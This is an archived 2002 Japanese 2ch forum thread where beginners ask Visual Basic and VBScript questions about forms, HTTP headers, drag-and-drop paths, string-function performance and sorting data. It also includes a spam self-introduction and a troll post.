>参考にならなかったらすみません。
>私の方法はWindows Media エンコーダのSDKを使用しています。
>http://www.microsoft.com/japan/windows/windowsmedia/wm7/encoder.asp
>
>マニュアルなどが英語のため理解に苦しんでいますが、
>キャプチ映像の動画・静止画へのエンコードは出来ました
861658:02/01/07 14:41
>>668
遅くなって申し訳ありません、無事できました、ありがとうございますです。
862デフォルトの名無しさん:02/01/07 15:50
ImgThumbnailでサムネイル表示する方法教えてくれ。
一枚だけなら出るんだけど、ディレクトリ内の全てのをだしたいのよ。
863デフォルトの名無しさん:02/01/07 16:57
>>862
kodakimg.exe で複数のサムネイル表示ってできる?
864862:02/01/07 17:44
出来なさそう。っていうか複数ファイル選択できないですね。
MIDの子フォームを Show で表示させた際に、
自動的に親フォームの中央にちらつきせず表示させるには
どうすればよいのでしょうか?

一応、以下のコードをLoadに記述してますが、
これだと移動前の位置で表示されるので画面がちらつきます。
frmy.Move (Screen.Width - frm.Width) \ 2, (Screen.Height - frm.Height) \ 2

何か良い方法はないでしょうか?
866>>844:02/01/07 19:51
本人なんだが、アクティブかける前にあえて起動コマンドをもう一度発行する
ことで解決しました。
867847:02/01/07 20:29
>>857
すまん、CurDir ChDrive ChDir だったよ。
正解は >>858が書いてくれたようだ。

古いやり方を説明すると、ドライブごとにカレントディレクトリを記憶しているので。
CurDir でカレントドライブとカレントディレクトリを取得。
ChDrive でカレントドライブを変更。
ChDir でカレントディレクトリを変更。
あとは、Openのファイル名でファイル名だけを指定すれば開ける。
ただし、UNC表記(\\Computer\Share\Fileなど)には対応できない。
868デフォルトの名無しさん:02/01/07 21:33
>>860
ありがとう。これ調べてみます。

しかし、俺にはちょっと難しそうだ。
869始めて2週間:02/01/07 21:34
とりあえずVBを初めてみたんですが目的のようなもの(作りたいプログラム)
がないのでどうも身が入りません。
何かこんなの作ってみれば?みたいなのあれば教えてください。
870デフォルトの名無しさん:02/01/07 21:40
>>869
日ごろ自分がコンピュータを使っていて、
面倒に感じること、誰かやってくれねーかな
と思うことを、プログラムにやらせる
871P061198129176.ppp.prin.ne.jp:02/01/07 21:49
>>870
そういう奴に限って普段パソコンをメールとネットくらいにしか
使ってないんだよ。
>>871
晒してまで言うことじゃない。
>>869
ひたすらドキュメント(MSDNとか)読み漁ってみるのはどうだろう。
「こんな機能あるんだ」→「こんなことできるな」
という思考展開がありうる。
874デフォルトの名無しさん:02/01/08 01:36
>862
1枚出るなら、それを繰り返せばいいのでは?
875デフォルトの名無しさん:02/01/08 05:44
VBでCoolBarを作っている最中なんですが、なぜかHeightを調節できません。
唯一、Resizeイベントで調節できましたが、切れた感じになってしまって使え
ないんです。どこをいじれば調節できるようになるんでしょうか。よろしくご教授
くださいm(_ _)m
プログラム実行中に、リストボックスのColumnsを変更する方法、ないんでしょうか?
877VBマスター:02/01/08 11:39
Dim strClassName As String
Dim objClass As Object

strClassName = "Class1"

Set objClass = New strClassName

という具合に任意のクラスのインスタンス化って可能ですか?
878はははは:02/01/08 11:47
http://www.puchiwara.com/hacking/
コレなんかかなり面白いかと。
879デフォルトの名無しさん:02/01/08 11:59
>>875
 CoolBarコントロールは初耳です。

>>876
 実行中実行した場所に通るコード上に Columnsプロパティを変更
 するコードを記述します。

>>877
 実行したら判ります。
880VBマスター:02/01/08 12:02
>>879
エラーが出ることはわかっています。
できる方法はないのでしょうか?
他のステートメントを利用(例えばCreateObject)しても
無理ですか?
881879:02/01/08 12:03
>>876
このプロパティを実行時に 0 に設定したり、0 からほかの値に変え
ることはできません。つまり、実行時に複数の列のリスト ボックス
コントロールを、1 列のリスト ボックス コントロールに変更した
り、その逆に変更することはできません。(from MSDN Jan 200)
>>880
VBでは実行時に変更できないと思います。
Windows Common Control の List View コントロールとかでは
だめなんですか?
>>875
 貼り付けるグラフィックスの Height にしかなんねぇんじゃね?
884ぶっちゃけ:02/01/08 16:34
これからVBを勉強しようかと思っているんですが、良い参考書とか
あったら教えてほしいのですが.
>>884
MSDN。

このやりとりも結構多いね(w
886876:02/01/08 18:33
>>881
うぅ〜、わかりました。ありがとうです。
887デフォルトの名無しさん:02/01/08 18:58
WEB上の特定のファイル(例えばヤフーのトップページhttp://www.yahoo.co.jp/index.html)の
更新日時だけを取得したいのです。
ファイル本体は読み込まずに更新日時だけを取得する方法があれば教えてください。
>>887 LISTコマンド
889デフォルトの名無しさん:02/01/08 19:14
>>887
"HEAD”をリクエストして"Last-Modified”を取得
"Last-Modified”が返ってこない場合は知らん
Yahoo は返ってこなかったけど

Private Sub Command1_Click()
    With Inet1
        .Execute "http://pc.2ch.net/test/read.cgi/tech/1006922992/", "HEAD"
        Do While .StillExecuting
            DoEvents
        Loop
    End With
End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)
    Select Case State
        Case icResponseCompleted
            Debug.Print Inet1.GetHeader("Last-Modified:")
            Inet1.Cancel
    End Select
End Sub
890889:02/01/08 19:17
>>887
決まり文句だが、、、RFCを読みましょう
http://www.w3.org/Protocols/rfc2616/rfc2616.html
ありがとうございます
さっそくやってみます
892名無しさん:02/01/09 00:10
ole dragdropでファイルをドラッグしてパスを得る時
path = data.Files(1)
とした時、path(string型)に格納されたデータに
"c:\windows\***.exe"
てな具合にダブルコーテーションがつくのだが
付けない方法ってありますか?
一々Mid関数などを使って削除しないとダメ?
893デフォルトの名無しさん:02/01/09 00:15
>892
付いてないと、スペース入りのフォルダやファイル名で困ることになる。
両端をカットするぐらい、どってことないじゃん。
894デフォルトの名無しさん:02/01/09 00:16
>>892
対象のコントロールが何かわからないけど、ピクチャボックスだと
ダブルコーテーション付かないね。

削除するなら Replace$ の方が楽かと
895名無しさん:02/01/09 00:22
>>893
実はshell関数で立ち上げるアプリのパスにドラッグした
パスを付けたいのでドラッグした時点で付くダブルコー
テーションが邪魔だったわけです。

>>894
対象のコントールはコマンドボタンです。なるほど、ピクチャ
だと付かないのですか。Replace$は初めて聞きました。
MSDNで調べてみます。
896デフォルトの名無しさん:02/01/09 01:15
>>895
コマンドボタンでも付かないような
「新規テキスト ドキュメント.txt」をドロップしても普通に開きますが

Private Sub Command1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim strFile As String
strFile = Data.Files(1)
Debug.Print strFile
Shell "notepad.exe " & strFile, vbNormalFocus
End Sub
>>877 >>880
そもそも、何がしたいかわからんけど。
これは、出来るんじゃない?
Dim s As String
Dim o As Object
s = "ADODB.Connection"
Set o = CreateObject(s)

FactoryMethodみたいなことをしたいなら、
Select Case s
Case "CON"
  Set o = New ADODB.Connection
Case "RS"
  Set o = New ADODB.Recordset
End Select
とかかな。
898デフォルトの名無しさん:02/01/09 01:22
>894
Replaceは関数なので、$をつけないほうがいい。

"が付くのは、コマンドボタンじゃなくて、Command関数だろう。
つまり、起動前のアイコン状態でドロップされた時。
899デフォルトの名無しさん:02/01/09 01:29
>>898
Left$ Right$ Mid$ Chr$ 等も
やはり $ をつけない方がよいのでしょうか
>>898 >>899
$をつけたほうが良い、つけないとVariantで帰ってくるのでリソースの無駄。
$をつけようがつけまいが関数です。
901デフォルトの名無しさん:02/01/09 01:38
>899
それはどっちでもいいんだけど、いちおう付けないほうが推奨されてるかな。
引数エラーでも、""とか返してくれるし。
ただ、Replaceだけは別格で、MSDNヘルプでも、Replace$の項目がない。
いちおう、正常に動作するけど。
>>898
つけない方がいいというか、Replace$なんて関数はないね。

>>899
$が付く関数はString型を対象とし、
つかない関数はVariant型を対象とする、
という違いがあるので、その違いを踏まえた使い分けをすべき。

あくまで文字列を対象にしたいんだって時には$を付けとくと、
As Integerな変数を放り込んだ時にコンパイルエラーがでるから、
それが幸せだと思える人は幸せになれる。
思えない人は付けないでおけばいい。
903900:02/01/09 01:51
すまそ、Replaceに関しては、つけない方がいいみたい。
先日、↓を読んだもので過剰に反応してしまった。
実際に使うときは、そんなに気にするものでも無さそう。

「プログラミングVisualBasic6.0 Vol.1基礎編」p.247
> VBAドキュメンテーションでは、すべての文字列関数について、末尾の$文字が付
> かない新しい$のつかない関数を使用するように勧めている。しかし実行速度の観点
> からいえば、これはお勧めできる方法ではない。$の付かない関数は、文字列結果を含
> むバリアント型を返すので、バリアント型が文字列に再変換されてからでないと、式
> での再利用や文字列変数への割り当てが出来ない場合が多い。これは時間の浪費であ
> り、得るものが何もない。非公式のベンチマークによれば、Left$関数は$のつかない
> 関数の最高2倍の速さである。同様の論法が、両方のフォームに存在する別の関数、
> LCase、UCase、LTrim、RTrim、Trim、Chr、Format、Space、Stringなどにも
> あてはまる。
904デフォルトの名無しさん:02/01/09 01:59
>903
バリアントのほうがメモリ食うのは知ってたけど、速度的にそんなに差が出るかな。
数値型への変換ならともかく、もともと文字列型にゴミがついてるようなもんなんだし。
905デフォルトの名無しさん:02/01/09 02:08
この2つ比べると1.5倍ぐらいの差がある

For i = 0 To 10000000
  strTest = "TEST"
  strTest = Left$(strTest, 1)
Next i

For i = 0 To 10000000
  strTest = "TEST"
  strTest = Left(strTest, 1)
Next i
906900:02/01/09 02:25
漏れもテストした。

Private Sub Command1_Click()
  Dim sngTimer As Single
  Dim sTest As String
  Dim s As String
  Dim n As Long
  Dim nLoopMax As Long

  nLoopMax = 10000000
  m_sTest = String(nLoopMax, "*")

  sngTimer = Timer()
  For n = 1 To nLoopMax
    s = Left(sTest, n)
    's = Left$(sTest, n)
  Next

  Debug.Print "Timer=" & (Timer() - sngTimer)
End Sub

結果
Left$のとき Timer=3.625
Leftのとき Timer=6.438477
907しろうと:02/01/09 03:09
無知なので何から手をつけていいのか分かりません。どうすればよいのでしょうか?

○下に示した10人の選手の名前、打数、安打数のデータを
 配列に代入してから、各選手の打率を求め、
 打率が高い順に並べ替えて、選手名、打数、安打数、打率を
 リーグ別に表示するプログラムを作れ。

選手名  リーグ 打数 安打
小笠原   2   576 195
ペタジーニ 1   463 149
・・・・・・・・・・・・・・他八人
908せんせい:02/01/09 03:23
授業をちゃんと聞きましょう。
909892:02/01/09 03:25
>>896
サンクス。どうやら勘違いだったようです。スマソ。
下のでいけました(簡略化してますが)。

Dim strFile As String, Path As String
strFile = Data.Files(1)
Path = ********.exe(アプリケーションのパス)
Shell path & " " & strFile, vbNormalFocus

どうやらアプリのパスとファイルのパスの間に空白が
入っていなかったケアレスミスでした

他の皆さんお騒がせしました。でもおかげでReplace
や$について勉強になりました。
910しろうと:02/01/09 03:30
>>908
そこを何とかお願いします。
授業聞いても教科書見てもよく分からないんです。
911デフォルトの名無しさん:02/01/09 03:46
>>910
n次元の配列にデータ放り込んで、
割ったりソートしたり
912デフォルトの名無しさん:02/01/09 03:52
>>910
とりあえずできたとこまでコード晒せ
913しろうと:02/01/09 03:53
>>911
ごめんなさい。よく分からないです。かなり深刻みたいです。
今VBのサイト一杯見てるんですが、どうも・・・
できたらもう少し詳しく具体的にお願いします。
914デフォルトの名無しさん:02/01/09 04:08
>>913
バリアント型の配列を10人分作る

varData(1) = Array("小笠原", 576, 195, 0, 2)
こんな感じにデータを放り込む

で良いのかな?
915デフォルトの名無しさん:02/01/09 04:15
>>913
まさか今日提出とかじゃないよね
916しろうと:02/01/09 04:17
>>914
本当にありがとうございます。
でもちょっと
>バリアント型の配列を10人分作る
というのがわからないんですが・・・たびたびすいません
917しろうと:02/01/09 04:18
>>915
あ、ちなみに今日です。
918デフォルトの名無しさん:02/01/09 04:20
>>916
配列の宣言の仕方しってるの?
バリアント型については?
919デフォルトの名無しさん:02/01/09 04:20
>>917
何時まで?
それはつまり作ってコードを貼り付けてくれってことか?
920しろうと:02/01/09 04:27
>>918>>919
教科書に書いてあるので大体分かります。
一応十二時までなんですが。。。

>それはつまり作ってコードを貼り付けてくれってことか?
それが一番ありがたいんですけど、、
というよりいちいち質問に答えるよりそっちの方が早いかも・・・
分からないことだらけですいません。
921900:02/01/09 04:28
>>906 は間違えて m_sTest としていた
sTest に直したら 1時間くらい終わらなかったのでやめた。

>>907 動けばいいや的なプログラム。
’Form1
Private Sub Form_Load()
  Dim oPlayers As clsPlayers
  Set oPlayers = New clsPlayers
  With oPlayers
    Call .SetTestData
    Call .PrintIt
    Debug.Print ""
    Debug.Print "SortByBattingAverage"
    Call .SortByBattingAverage
    Call .PrintIt
    Debug.Print ""
    Debug.Print "SortByLeague"
    Call .SortByLeague
    Call .PrintIt
  End With
End Sub
>>914 >>918 >>919 >>921
提出日まで何もやってこなかった厨に甘すぎやしないか?
923900:02/01/09 04:35
'clsPlayers
Option Explicit
Private m_oCollection As Collection

Private Sub Class_Initialize()
  Set m_oCollection = New Collection
End Sub

Public Sub SetTestData()
  Call Me.AddNew("小笠", 2, 576, 195)
  Call Me.AddNew("ペタ", 1, 463, 149)
  Call Me.AddNew("山田", 1, 444, 150)
  Call Me.AddNew("田中", 2, 555, 200)
  Call Me.AddNew("渡辺", 2, 333, 120)
  Call Me.AddNew("鈴木", 1, 200, 100)
  Call Me.AddNew("吉田", 1, 500, 111)
  Call Me.AddNew("安田", 2, 888, 88)
  Call Me.AddNew("広田", 2, 456, 30)
  Call Me.AddNew("中村", 1, 520, 200)
End Sub

Public Sub AddNew(sName As String, nLeague As Long, nTimesAtBat As Long, nHits As Long)
  Dim oPlayer As clsPlayer
  Set oPlayer = New clsPlayer
  With oPlayer
    .sName = sName
    .nLeague = nLeague
    .nTimesAtBat = nTimesAtBat
    .nHits = nHits
  End With
  Call m_oCollection.Add(oPlayer)
End Sub

Public Sub PrintIt()
  Dim oPlayer As clsPlayer
  For Each oPlayer In m_oCollection
    oPlayer.PrintIt
  Next
End Sub
924900:02/01/09 04:36
Public Sub SortByLeague()
  Dim oNewCollection As Collection
  Dim oPlayer As clsPlayer
  Dim n As Long
  Dim isInserted As Boolean
  Set oNewCollection = New Collection
  For Each oPlayer In m_oCollection
    isInserted = False
    For n = 1 To oNewCollection.Count
      If (oPlayer.nLeague < oNewCollection.Item(n).nLeague) Then
        Call oNewCollection.Add(oPlayer, , n)
        isInserted = True
        Exit For
      End If
    Next
    If (isInserted = False) Then
      Call oNewCollection.Add(oPlayer)
    End If
  Next
  Set m_oCollection = oNewCollection
End Sub

Public Sub SortByBattingAverage()
  Dim oNewCollection As Collection
  Dim oPlayer As clsPlayer
  Dim n As Long
  Dim isInserted As Boolean
  Set oNewCollection = New Collection
  For Each oPlayer In m_oCollection
    isInserted = False
    For n = 1 To oNewCollection.Count
      If (oPlayer.nBattingAverage < oNewCollection.Item(n).nBattingAverage) Then
        Call oNewCollection.Add(oPlayer, , n)
        isInserted = True
        Exit For
      End If
    Next
    If (isInserted = False) Then
      Call oNewCollection.Add(oPlayer)
    End If
  Next
  Set m_oCollection = oNewCollection
End Sub
925900:02/01/09 04:37
'clsPlayer
Option Explicit

Public nLeague As Long 'リーグ
Public sName As String '選手名
Public nTimesAtBat As Long '打数
Public nHits As Long '案打数

Public Property Get nBattingAverage() As Double
  nBattingAverage = Me.nHits / Me.nTimesAtBat
End Property

Public Sub PrintIt()
  Debug.Print Me.sName & "," & Me.nLeague & "," & Format(Me.nBattingAverage, "0.########")
End Sub
しかし 900 さんのコードは厨にはもったいない

これコピペして提出したら間違いなく
パクったでばれるな
927900:02/01/09 04:41
配列を使っていないという罠
928しろうと:02/01/09 04:42
>900さん
なんといったらよいか・・本当にありがとうございます。

>>922
すいません。場違いですよね。すぐ消えます。
929デフォルトの名無しさん:02/01/09 04:43
>>927
というよりも配列の宣言ができなさそうな
人間が書くレベルのコードではないと思われ
930デフォルトの名無しさん:02/01/09 04:47
そうだね。バリアントすらあやふやなやつは、クラスなんて使う
レベルじゃないと思う。
931デフォルトの名無しさん:02/01/09 06:14
ヘルプ見てもAPIってさっぱり分かりません。
具体的にどういう感じで使うのか例を示していただけませんかな?
暇な方おられれば・・。
932デフォルトの名無しさん:02/01/09 06:53
>>931
初めはネット上でサンプルなど探すといいかも
http://www1.harenet.ne.jp/~unaap/
http://www.galliver.co.jp/
http://www.codeguru.com/vb/index.shtml

多くの場合ネット上のサンプルだけでできると思いますが、
どうにもならない時は自力でどうにかする。
その時によく使うのは、

VCを入れたときについていたAPIリストのCSVファイルとか、
C のヘッダファイル、
API ビューア、
あとMSDN
http://msdn.microsoft.com/library/
http://www.microsoft.com/japan/developer/library/
933デフォルトの名無しさん:02/01/09 07:25
APIを使ってUDPの送受信を行いたいのですが、
そういった事ができる関数は、どうやって調べたらいいんでしょうか。
934デフォルトの名無しさん:02/01/09 07:28
>>933
winsockコントロールじゃダメなの?
935デフォルトの名無しさん:02/01/09 07:31
こんにちは、はじめまして。
江坂(えざか)と言います。

今回は、簡単に自己紹介させて頂きます。
私は、28歳で社会人5年目です。
現在、東京のコンピュータ会社でシステム・エンジニアとして
働いています。

私の趣味は、パソコンと音楽鑑賞です。
パソコンは、子供の頃から好きで仕事と趣味に使っています。
音楽は、洋楽、邦楽のどちらも好きです。

あと、自然が好きでよく山にピクニックやハイキングに
行ったりします。
また、近くの川や海に行ったりすることも好きです。

こんな私ですが、よかったらお返事ください。
最後に、私のプロフィールを書いておきます。
よろしくお願いします。

江坂より

          ☆プロフィール☆

■名前:江坂 博 ( えざか ひろし )
■年齢:28才
■身長:170cm
■体重:65kg
■血液型:A型
■誕生日:1973年12月19日生
■兄弟続柄:次男
■最終学歴:大学卒
■住所:東京都日野市
■出身地:三重県四日市市
■最寄駅:京王線・高幡不動駅
■職業:システム・エンジニア
■休日:土、日、祝日
■趣味:パソコン、音楽鑑賞
■タバコ:吸わない
■お酒:付き合い程度
■ギャンブル:しない
■宗教:特になし
■好きなタイプ:心のやさしい人、家庭的な人


p.s.今、付き合っている彼氏はいますか?
私は、今付き合っている彼女はいません。
936VBマスター:02/01/09 08:17
>>897
レスどうもです。
前者はActiveXなのでできますが、普通のクラスはできないのです。
後者はクラスが増えるたびに追加しないといけないですね。
これが通常のやり方なら仕方ないですが。
>935
ネタはマ板で(略
938デフォルトの名無しさん:02/01/09 09:16
これ(>>935)は削除依頼出しておいてもいいのか?
>>938 いろんな板に貼り付けられてるので賛成。
940デフォルトの名無しさん:02/01/09 10:59
あるファイルをOPENメソッドでプログラム内で新規に作っているのですが、
出来上がったファイルの更新日付が、何故か不自然な日付になってしまうのです。
(1997年8月1日12時37分)
なんど作っても同じ日付になってしまいます。
ファイル作成日付はちゃんと作成された日付になっているのに。
これは何が悪いのでしょうか。

'**********************

Open strFilename For OUTPUT as #1
Print #1,strMessage
Close #1

'ほんとにこれだけの単純なソースなのですが。。。
941デフォルトの素人:02/01/09 11:55
ディストリビューションウィザードを使って配布しようと思うんですが、
その時、フォントもインストールするようにしています。

しかし、インストールが終了したあとシステムを起動しても、なぜか
インストールしたはずのフォントが無効になっています。

インストールされてないのかな? と思ってコントロールパネルから
フォントを開いて見ると、ちゃんと追加されています。

その後、もう1回システムを起動したら、今度はフォントがしっかり表示
されていました。

インストールが終わったら、再起動しないといけないんでしょうか?
インストール終了後、自動で再起動させる方法があったら教えてください。

よろしくお願いします。
942900:02/01/09 12:02
>>924
しまった打率の高い順になのに、低い順になってた。
For Each は Index 順とは限らないのに、依存しているし。
ソートのとこは、判断式のとこだけ関数にくくりだせばよかったのかな。
>>936
さすがに、クラスモジュールを文字列で生成するのは無理かと。
ひとつの関数の中に生成処理がまとまっているので、我慢するしか。
逆に、どういう状況でその処理が必要になるかに、興味あるなー。
>>940
違うファイルを見ていませんか?
943デフォルトの名無しさん:02/01/09 12:17
>>942
ついに彼のレポートの〆切時刻が来ましたね。
彼は巧いことしのいだのでしょうか。
944940:02/01/09 13:06
>>942
いえ、そんなことはありません。
このプログラムで作られるすべてのファイルが同じ更新日付になってしまうのです。
VBの設定の方がおかしいとかなのでしょうか。

>>943
配列を使ってないから仕様的にはアウトになりません?上のソース
945933:02/01/09 13:40
>>934
Delphiでは、APIを使ったサンプルを見かけたので、
VBでも同じ事ができないか・・・と。
それに、あまりコンポーネントに頼り過ぎてると進歩しませんし。
946デフォルトの名無しさん:02/01/09 14:05
>>945
>>374 は Ping についてですが、参考になるかもしれません。
947933:02/01/09 14:14
>>946
ありがとうございます。
おかげで、いくつか資料が手に入りました。
948デフォルトの名無しさん:02/01/09 15:46
分割ソフトを作りたいのですが、今いち参考になるような
TEXTがないんです。
だれか教えてくれませんか?
949デフォルトの名無しさん:02/01/09 16:04
>>948
ソフトを分割するのですか?
950デフォルトの名無しさん:02/01/09 16:07
>>948
Binary でオープンして適当に切り分けたら?
951デフォルトの名無しさん:02/01/09 16:07
言葉足らずで申し訳ないです。
ファイルを分割・結合するソフトです。
953デフォルトの名無しさん:02/01/09 16:21
>>952
ありがとうございます^^
参考にして勉強します。
954デフォルトの名無しさん:02/01/09 17:45
すみません、ご教授を・・・
VBScriptなのですが、
配列で、例えば 1,2,3,4 となっている所を、2の所にnull入れたら 1,,3,4
 ってなりますよね。これを 1,3,4 って配列に変えたいのですが
若輩者ゆえどうしたらいいかわかりません。
簡単かもしれませんが教えてください。お願いします。
955(-_-メ):02/01/09 17:50

★重要告知★

『 OKWeb 』 及び 教えてGoo は最悪だ !
利用する奴ははっきり言って馬鹿の象徴 !!
馬鹿の証明しているに過ぎない !!
"OKWeb" を利用すると 頭が変になり、馬鹿になる !! 気をつけろ !!!
 それにOKwebを利用するだけで『ウィルス』に感染してしまうから
絶対利用はするな !!
956デフォルトの名無しさん:02/01/09 17:52
VBはわからんけど。

while(j<元配列のサイズ){
  if(Src[j]==null)j=j+1;
  Dest[i]=Src[j];
}
957956:02/01/09 18:03
間違い。

i=0;j=0;
while(j<元配列のサイズ){
  // ↓配列からはみ出てないかの判定もして。
  while(Src[j]==null){
    j=j+1;
  }
  Dest[i]=Src[j];
}
958デフォルトの名無しさん:02/01/09 19:30
>>956-957 を参考にさせてもらって
VBSで書き直すとこんな感じかな

Dim Src
Dim Dest()
Dim i, j
Dim strBuff

Src = Array(1, vbNullString, 3, 4)
i = 0
j = 0
    
While i <= UBound(Src)
    If Src(i) <> vbNullString Then
        ReDim Preserve Dest(j)
        Dest(UBound(Dest)) = Src(i)
        j = j + 1
    End If
    i = i + 1
Wend

For i = 0 To UBound(Dest)
    strBuff = strBuff & Dest(i)
Next

MsgBox strBuff
複数のコントロールが重なっている状態で、
ZOrderを使い、前面・背面移動を切り替えた場合に
各コントロール毎に表示されている重なり位置は取得できるのでしょうか?
厨房的発想
でも2つ問題がある
1.null 入れてはダメ。
2.セパレイターが問題。

<script language="VBScript">
<!--
 Dim A()
 Dim B
 Dim X

 ReDim A(3)
 A(0) = 1
 A(1) = 2
 A(2) = 3
 A(3) = 4

 A(3) = -1

 X = Join(A, ",")
 X = Replace(X, "-1", "")
 If Right(X, 1) = "," Then X = Left(X, Len(X) - 1)
 If Left(X, 1) = "," Then X = Right(X, Len(X) - 1)
 X = Replace(X, ",,", ",")
 B = Split(X, ",")

 MsgBox UBound(B)
-->
</script>
961959:02/01/09 20:05
すいません、ちょっと伝わらないと思ったので補足します。

コントロールはまったく同じではないのですが、
部分的に重なっているものとします。

最前面側
「コントロールC」
「コントロールA」
「コントロールB」
最下面側

上のような状態で重なっているものとして、
コントロールA = 1
コントロールB = 2
コントロールC = 0
の様な、ZOrderに対応した値を取得することは可能なのでしょうか?

m(_ _)m よろしくおねがいします
>>961
その番号を取得したい必要性は?
963デフォルトの名無しさん:02/01/09 23:16
>959,961
自前のコードでコントロールのZOrderを切り替えてるんだろ?
だったら、それでどういう順番になるか、わからないとおかしい。
そろそろお引越しの予感。
誰かやんないと。
俺がやれって?(w
965デフォルトの名無しさん:02/01/10 09:16
ネットワークに繋がっているPCがいくつかあるとします。
たとえばPC001・PC002・PC003の3台。
で、このネットワークに入れるユーザがいつくかあるとします。
たとえばHOGE・WOW・MAO・AFOなど

やりたいことは、各パソコンから相互に自分以外のパソコンにログインしている
ユーザ名がわかるようにしたいのです。
たとえば、PC001を使用している人は、PC002と3に今ログインしているユーザ名
を取得したい。

自分のパソコンにログインしているユーザ名は簡単に取得できますが、
ネットワークに繋がったパソコンの現ログインユーザ名は取得できないのでしょうか

よろしくお願いします。
966959:02/01/10 11:54
>>962
画像やテキストを張り付けてレイアウトするソフトを
作成しているのですが、
Form上でZOrderを使い重なりを変更するには良いのですが、
そのデータを保存し、再度表示させる際に、
重なりの情報を取得しておかないと、元の状態に戻せないので・・・
967959:02/01/10 12:00
>>963
自前のコードですけど、コントロールの重なりが実際は複雑なので・・・

実際は例として書いたように、単に重なるだけでなく、
各コントロールの移動、コントロールの追加、削除が発生するので、
移動元、移動先などでZOrderに対応する管理を行うことは難しいです。

簡単にZRoderに対応する値が取得できれば、
そういった管理を行う必要もないので、おたずねしました。
>>967
 Part5に引っ越して続投中です。
 http://pc.2ch.net/test/read.cgi/tech/1010624646/2
969967:02/01/10 14:42
>>968
親切に教えていただいて、ありがとうございます m(__)mペコリ
MDIFormの最大化、最小化ボタンを無効にしたくて、APIを利用してForm上に
表示しないようにしたのですが、ボタンの存在した個所で右クリックでメニューが表示されてしまい、
そこから最小化、最大化が出来てしまいます。(ダブルクリックでもサイズ変更されてしまう)
どなたか無効にする方法をご存知であれば教えてください。
971デフォルトの名無しさん:02/01/24 17:09
VB を買おうと思うのですが、今なら何を買えばいいですか?
972デフォルトの名無しさん:02/01/24 22:45
ビットマップの画像を、透過色を使用して表示したいのですが簡単な方法はありませんか?
973デフォルトの名無しさん:02/01/24 22:47
>>971
もうすぐ VB .NET がでるからそれまで待てば?
974デフォルトの名無しさん:02/01/24 22:48
>>973
MSの新ソフトをさっそく買うほどバカではありません。
975デフォルトの名無しさん:02/01/24 22:49
>>974
それならいっそVBやめてKYLIXにしよう
976デフォルトの名無しさん:02/01/24 22:51
KYLIXってPASCALですよね?
私はVBがやりたいんです。
でもそのまえにHSPやるかも。
977VB使い:02/01/24 22:58
>>971
マジならPro。急がないなら様子を見て.NET。金があるならVisualStudio。
お勧めはVC++。

>>972
マスク画像とカラーデータ作ってXorとAndで描画。
978デフォルトの名無しさん:02/01/24 23:05
今、MSのページ見てきた。

>WebClassデザイナでは、ブラウザーに依存しないHTMLベースのアプリケーションを作成でき、Webサーバーに対する優れた開発手法を提供します。

とか書いてある。だったら、MSのページでまっさきにやれ、って感じ(w
979デフォルトの名無しさん:02/01/24 23:09
今、MSのページ見てたんだが、

>なお、日本語版 VB で作成された実行ファイル (EXE) 等は、日本語 Windows 上でしか動作しません。英語環境で動作させるには英語版 VB でコンパイルしたものを使用する必要がありますのでご注意ください。
と書いてある。漏れは、英語圏の人にも自分のアプリを使ってもらいらので、英語版のVBを買う必要があるのだろう。
980デフォルトの名無しさん:02/01/24 23:21
>>972
TransparentBlt()やAlphaBlend()でどう?
>>979
日本語版でまずいのは、一部のコンポーネントだけ。それらを
使わなければおっけーだよ。
981デフォルトの名無しさん:02/01/24 23:42
えーと、とりあえず、6の日本語版のラーニングを買おうと思うのですが、これで何か不具合ありますか?
982デフォルトの名無しさん:02/01/24 23:48
>979
VB6なら、国際対応キットがあるよ。
Microsoft Visual Basic 6.0 International Package and Deployment Kit
http://www.microsoft.com/japan/developer/vbasic/download/ipdk.htm
983デフォルトの名無しさん:02/01/24 23:52
作ったEXEを配れない、とか変な制限は無いですよね?
984デフォルトの名無しさん:02/01/24 23:53
そういえば、Delphi の無料版は、シェアウエア作れなかったな。
985VB使い:02/01/24 23:58
>>983
このスレの290-320あたり見てみ。ラーニングの辛さが分かるぞ。
>>981
VBを触ってみたいだけで
ラーニング買ってバカにされても気にしないなら何も言わない。
色々と作りたいと思ってるならやめとけ。
安物はなぜ安いのか、理由があるからだ。
987デフォルトの名無しさん:02/01/25 00:10
>>986
いま読んできました。プロって8万もするんですね。
ラーニングがうんこなのは理解できましたが、8万はちょっと検討しないとすぐには買えないなぁ。
988デフォルトの名無しさん:02/01/25 00:11
>981
アカデミックパック買えないの? 親戚の子とか使って。

それとここ前スレなんだけど、最初上げた犯人は誰?
思うに次スレへの誘導がないのが原因かと。


新しいスレがだいぶ前にできています。
移動をお願いします。

◆VB初心者質問スレ Part5
http://pc.2ch.net/test/read.cgi/tech/1010624646/
990デフォルトの名無しさん:02/01/25 00:22
>安物はなぜ安いのか、理由があるからだ。
MSの商品は売れているものほど(シェアが大きなものほど)値段が
高いからその点は留意すべし。VBはラーニングだと個人ユースでも
不便に思うことが多いように思う。

もしヴィジュアルな統合開発環境をさわってみたいだけならdelphiの
パーソナルをすすめます。買っても5千円前後だしダウンすればタダ。

991VB使い:02/01/25 00:28
>>988
一応それは詐欺の一種では・・・?
とか言いながらも俺も友人に買ってもらったがw
埋めちゃえ
992
993